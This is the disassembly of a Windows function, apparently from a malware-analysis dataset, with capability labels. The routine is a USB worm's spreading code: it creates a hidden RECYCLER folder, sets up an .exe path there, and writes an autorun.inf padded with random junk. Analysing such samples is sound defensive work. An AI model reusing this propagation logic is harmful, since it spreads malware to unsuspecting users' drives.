Function at 0x10006baf
Capabilities:
Create directory
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff8a4
push esi
lea eax, [ebp - 0x320]
push eax
call fcn.10006705
push 8
lea eax, [ebp - 0x344]
push eax
call fcn.1000668e
lea edi, [ebp - 0x344]
add edi, 8
mov al, 0
mov byte [edi], al
push dword [ebp + 8]
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x744]
push eax
call fcn.100061ad
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_lstrlenA
lea ebx, [ebp - 0x744]
add eax, ebx
mov dword [ebp - 0x750], eax
push str.RECYCLER
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x744]
push eax
call fcn.100061ad
push 0
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_CreateDirectoryA
push 2
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x744]
push eax
call fcn.100061ad
push 0
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_CreateDirectoryA
push 2
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x344]
push eax
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_lstrcatA
push str..exe
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_lstrcatA
push dword [ebp - 0x750]
call sub.kernel32.dll_lstrlenA
mov ebx, 2
mul eax
add eax, 0x98
push eax
push 0
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10006ea3
mov dword [ebp - 0x748], eax
push dword [ebp - 0x750]
push dword [ebp - 0x750]
push dword [ebp - 0x750]
push str._autorun__r_nactionOpen_r_nicon__WinDir___system32_shell32.dll_4_r_nshellexecute._s_r_nshellexplorecommand._s_r_nUSEAUTOPLAY1_r_nshellOpencommand._s_r_n
push dword [ebp - 0x748]
call sub.user32.dll_wsprintfA
add esp, 0x14
push 2
lea eax, [ebp - 0x744]
push eax
push 0x1000a4f4
call fcn.100024e5
or eax, eax
je 0x10006e98
push dword [ebp + 8]
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x744]
push eax
call fcn.100061ad
push str.autorun.inf
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_lstrcatA
push 0x80
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x27
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x744]
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x10006e98
mov dword [ebp - 0x75c], eax
push 0
lea eax, [ebp - 0x74c]
push eax
push 3
push 0x1000a772
push dword [ebp - 0x75c]
call sub.kernel32.dll_WriteFile
mov eax, 0x1f40
sub eax, 0xfa0
push eax
call fcn.10007fc0
add eax, 0xfa0
mov dword [ebp - 0x758], eax
push dword [ebp - 0x758]
push 0
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 0
je 0x10006e09
push dword [ebp - 0x758]
push dword [ebp - 0x754]
call fcn.100066bb
push 0
lea eax, [ebp - 0x74c]
push eax
push dword [ebp - 0x758]
push dword [ebp - 0x754]
push dword [ebp - 0x75c]
call sub.kernel32.dll_WriteFile
jmp 0x10006e31
lea edi, [ebp - 0x320]
mov word [edi], 0xa0d
push 0
lea eax, [ebp - 0x74c]
push eax
push 2
lea eax, [ebp - 0x320]
push eax
push dword [ebp - 0x75c]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x748]
call sub.kernel32.dll_lstrlenA
mov ebx, eax
push 0
lea eax, [ebp - 0x74c]
push eax
push ebx
push dword [ebp - 0x748]
push dword [ebp - 0x75c]
call sub.kernel32.dll_WriteFile
cmp dword [ebp - 0x754], 0
je 0x10006e8d
push 0
lea eax, [ebp - 0x74c]
push eax
push dword [ebp - 0x758]
push dword [ebp - 0x754]
push dword [ebp - 0x75c]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x754]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 0x75c]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x748]
call sub.kernel32.dll_GlobalFree
pop esi
leave
ret 4